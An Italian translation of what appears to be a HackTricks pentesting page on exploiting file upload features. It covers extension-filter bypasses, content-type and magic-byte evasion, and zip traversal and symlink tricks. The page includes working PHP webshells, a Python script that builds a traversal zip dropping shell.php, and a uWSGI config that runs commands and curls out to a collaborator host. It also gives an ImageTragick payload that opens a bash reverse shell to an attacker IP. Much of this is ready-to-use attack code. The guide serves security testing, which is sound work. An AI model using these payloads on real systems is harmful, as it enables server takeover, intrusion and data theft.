File Upload

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Se sei interessato alla carriera di hacking e vuoi hackerare l'impossibile - stiamo assumendo! (richiesta competenza scritta e parlata in polacco).

Metodologia generale di caricamento file

Altre estensioni utili:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • Lavorando in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

Eludere i controlli sulle estensioni dei file

  1. Se vengono applicati, controllare le estensioni precedenti. Testarle anche utilizzando alcune lettere maiuscole: pHp, .pHP5, .PhAr ...

  2. Controllare aggiungendo un'estensione valida prima dell'estensione di esecuzione (utilizzare anche le estensioni precedenti):

  • file.png.php

  • file.png.Php5

  1. Provare ad aggiungere caratteri speciali alla fine. Potresti utilizzare Burp per forzare tutti i caratteri ascii e Unicode. (Nota che puoi anche provare a utilizzare le estensioni precedentemente menzionate)

  • file.php%20

  • file.php%0a

  • file.php%00

  • file.php%0d%0a

  • file.php/

  • file.php.\

  • file.

  • file.php....

  • file.pHp5....

  1. Provare a eludere le protezioni ingannando il parser delle estensioni lato server con tecniche come raddoppiare l'estensione o aggiungere dati spazzatura (byte null) tra le estensioni. Puoi anche utilizzare le estensioni precedenti per preparare un payload migliore.

  • file.png.php

  • file.png.pHp5

  • file.php#.png

  • file.php%00.png

  • file.php\x00.png

  • file.php%0a.png

  • file.php%0d%0a.png

  • file.phpJunk123png

  1. Aggiungere un'altra serie di estensioni al controllo precedente:

  • file.png.jpg.php

  • file.php%00.png%00.jpg

  1. Provare a mettere l'estensione exec prima dell'estensione valida e sperare che il server sia configurato in modo errato. (utile per sfruttare le errate configurazioni di Apache dove qualsiasi cosa con estensione** .php, ma non necessariamente terminante in .php** eseguirà il codice):

  • es: file.php.png

  1. Utilizzare lo stream di dati alternativi NTFS (ADS) in Windows. In questo caso, verrà inserito un carattere due punti ":" dopo un'estensione vietata e prima di una consentita. Di conseguenza, verrà creato un file vuoto con l'estensione vietata sul server (ad es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente utilizzando altre tecniche come l'utilizzo del suo nome breve. Il modello “::$data” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo modello potrebbe essere utile per eludere ulteriori restrizioni (ad es. “file.asp::$data.”)

  2. Provare a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP dannoso viene lasciato. AAA<--SNIP-->AAA.php

# Linux massimo 255 byte
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
# Carica il file e controlla la risposta quante caratteri permette. Diciamo 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crea il payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypassa i controlli sul Content-Type impostando il valore dell'header Content-Type su: image/png, text/plain, application/octet-stream

  • Bypassa il controllo del magic number aggiungendo all'inizio del file i byte di un'immagine reale (confondere il comando file). Oppure introduci il codice shell all'interno dei metadati: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg Oppure potresti anche inserire direttamente il payload in un'immagine: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • Se viene aggiunta compressione alla tua immagine, ad esempio utilizzando alcune librerie PHP standard come PHP-GD, le tecniche precedenti non saranno utili. Tuttavia, potresti utilizzare il chunk PLTE tecnica definita qui per inserire del testo che sopravviverà alla compressione.

  • La pagina web potrebbe anche ridimensionare l'immagine, utilizzando ad esempio le funzioni PHP-GD imagecopyresized o imagecopyresampled. Tuttavia, potresti utilizzare il chunk IDAT tecnica definita qui per inserire del testo che sopravviverà alla compressione.

  • Un'altra tecnica per creare un payload che sopravvive a un ridimensionamento dell'immagine, utilizzando la funzione PHP-GD thumbnailImage. Tuttavia, potresti utilizzare il chunk tEXt tecnica definita qui per inserire del testo che sopravviverà alla compressione.

Altri trucchi da verificare

  • Trova una vulnerabilità per rinominare il file già caricato (per cambiare l'estensione).

  • Trova una vulnerabilità di Inclusione di File Locale per eseguire il backdoor.

  • Possibile divulgazione di informazioni:

  1. Carica più volte (e allo stesso tempo) lo stesso file con lo stesso nome

  2. Carica un file con il nome di un file o cartella che esiste già

  3. Carica un file con “.”, “..”, o “…” come nome. Ad esempio, in Apache in Windows, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.

  4. Carica un file che potrebbe non essere eliminato facilmente come “…:.jpg” in NTFS (Windows).

  5. Carica un file in Windows con caratteri non validi come |<>*?” nel nome (Windows).

  6. Carica un file in Windows utilizzando nomi riservati (proibiti) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.

  • Prova anche a caricare un eseguibile (.exe) o un .html (meno sospetto) che eseguirà del codice quando aperto accidentalmente dalla vittima.

Trucchi speciali sull'estensione

Se stai cercando di caricare file su un server PHP, dai un'occhiata al trucco del file .htaccess per eseguire codice. Se stai cercando di caricare file su un server ASP, dai un'occhiata al trucco del file .config per eseguire codice.

I file .phar sono come i file .jar per Java, ma per PHP, e possono essere usati come un file PHP (eseguendolo con PHP o includendolo all'interno di uno script...).

L'estensione .inc viene talvolta utilizzata per i file PHP che vengono utilizzati solo per importare file, quindi, a un certo punto, qualcuno potrebbe aver permesso l'esecuzione di questa estensione.

Jetty RCE

Se puoi caricare un file XML su un server Jetty, puoi ottenere RCE perché i nuovi file *.xml e *.war vengono elaborati automaticamente. Quindi, come indicato nell'immagine seguente, carica il file XML in $JETTY_BASE/webapps/ e attendi la shell!

uWSGI RCE

Per una dettagliata esplorazione di questa vulnerabilità, controlla la ricerca originale: Sfruttamento di uWSGI RCE.

Le vulnerabilità di Esecuzione di Comandi Remoti (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione .ini. I file di configurazione uWSGI fanno leva su una sintassi specifica per incorporare variabili "magiche", segnaposti e operatori. In particolare, l'operatore '@', utilizzato come @(filename), è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malintenzionati come l'Esecuzione di Comandi Remoti o la Scrittura/Lettura Arbitraria di File quando un file di configurazione .ini viene elaborato.

Considera il seguente esempio di un dannoso file uwsgi.ini, che mostra vari schemi:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

L'esecuzione del payload avviene durante l'analisi del file di configurazione. Per attivare e analizzare la configurazione, il processo uWSGI deve essere riavviato (potenzialmente dopo un arresto anomalo o a causa di un attacco di negazione del servizio) o il file deve essere impostato per il ricaricamento automatico. La funzionalità di ricaricamento automatico, se abilitata, ricarica il file a intervalli specificati alla rilevazione di modifiche.

È cruciale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente il campo delle potenziali vulnerabilità.

Trucco di caricamento file/SSRF di wget

In alcune occasioni potresti scoprire che un server sta utilizzando wget per scaricare file e puoi indicare l'URL. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, questo controllo può essere eluso. La lunghezza massima di un nome file in Linux è 255, tuttavia, wget tronca i nomi file a 236 caratteri. Puoi scaricare un file chiamato "A"*232+".php"+".gif", questo nome file eluderà il controllo (come in questo esempio ".gif" è un'estensione valida) ma wget rinominerà il file in "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Nota che un'altra opzione a cui potresti pensare per eludere questo controllo è far sì che il server HTTP reindirizzi a un file diverso, in modo che l'URL iniziale eluda il controllo e wget scaricherà il file reindirizzato con il nuovo nome. Questo non funzionerà a meno che wget venga utilizzato con il parametro --trust-server-names perché wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale.

Strumenti

  • Upload Bypass è un potente strumento progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di caricamento file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.

Dal caricamento file ad altre vulnerabilità

Ecco una lista dei primi 10 obiettivi che puoi raggiungere tramite il caricamento (da qui):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE

  2. SVG: Stored XSS / SSRF / XXE

  3. GIF: Stored XSS / SSRF

  4. CSV: Iniezione CSV

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : Iniezione HTML / XSS / Redirect aperto

  8. PNG / JPEG: Attacco di flood di pixel (DoS)

  9. ZIP: RCE tramite LFI / DoS

  10. PDF / PPTX: SSRF / BLIND XXE

Estensione Burp

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

Fai riferimento a https://en.wikipedia.org/wiki/List_of_file_signatures per altri tipi di file.

Caricamento automatico di file Zip/Tar decompressi

Se puoi caricare un file ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:

Carica un collegamento contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompressi, accederai ai file collegati:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decomprimere in cartelle diverse

La creazione inaspettata di file in directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello di sistema operativo tramite caricamenti di file dannosi, il supporto alla compressione gerarchica e le capacità di attraversamento delle directory del formato di archivio ZIP possono essere sfruttati. Ciò consente agli attaccanti di eludere le restrizioni ed uscire dalle directory di caricamento sicure manipolando la funzionalità di decompressione dell'applicazione presa di mira.

Un exploit automatizzato per creare tali file è disponibile su evilarc su GitHub. L'utilità può essere utilizzata come segue:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Inoltre, il trucco del symlink con evilarc è un'opzione. Se l'obiettivo è quello di mirare a un file come /flag.txt, dovrebbe essere creato un symlink a tale file nel tuo sistema. Questo assicura che evilarc non incontri errori durante la sua operazione.

Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip maligno:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abuso della compressione per lo spraying di file

Per ulteriori dettagli controlla il post originale su: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creazione di una Shell PHP: Il codice PHP è scritto per eseguire comandi passati attraverso la variabile $_REQUEST.

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Spraying di File e Creazione di File Compressi: Vengono creati file multipli e viene assemblato un archivio zip contenente questi file.

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modifica con un Editor Esadecimale o vi: I nomi dei file all'interno dello zip vengono modificati utilizzando vi o un editor esadecimale, cambiando "xxA" in "../" per attraversare le directory.

:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità (ImageMagick, 7.0.1-1) (dall'exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incorporazione di PHP Shell su PNG

L'incorporazione di una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente determinate operazioni di elaborazione delle immagini. Le funzioni imagecopyresized e imagecopyresampled di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere indenne da queste operazioni è un vantaggio significativo per determinati casi d'uso.

Una dettagliata esplorazione di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nell'articolo seguente: "Encoding Web Shells in PNG IDAT chunks". Questa risorsa offre una comprensione esaustiva del processo e delle sue implicazioni.

Ulteriori informazioni su: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

File Poliglotti

I file poliglotti fungono da strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente contemporaneamente in diversi formati di file. Un esempio intrigante è un GIFAR, un ibrido che funziona sia come GIF che come archivio RAR. Tali file non si limitano a questa combinazione; sono anche possibili combinazioni come GIF e JS o PPT e JS.

L'utilità principale dei file poliglotti risiede nella loro capacità di aggirare le misure di sicurezza che controllano i file in base al tipo. La pratica comune in varie applicazioni prevede di permettere solo determinati tipi di file per il caricamento, come JPEG, GIF o DOC, per ridurre il rischio rappresentato dai formati potenzialmente dannosi (ad esempio, file JS, PHP o Phar). Tuttavia, un poliglotta, conformandosi ai criteri strutturali di più tipi di file, può aggirare stealthily queste restrizioni.

Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglotta potrebbe incarnare contemporaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche sull'estensione dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglotta potrebbe non essere sufficiente a garantirne il caricamento.

Ulteriori informazioni su: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Riferimenti

Se sei interessato a una carriera nel hacking e a hackerare l'impossibile - stiamo assumendo! (richiesta competenza scritta e parlata in polacco).

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated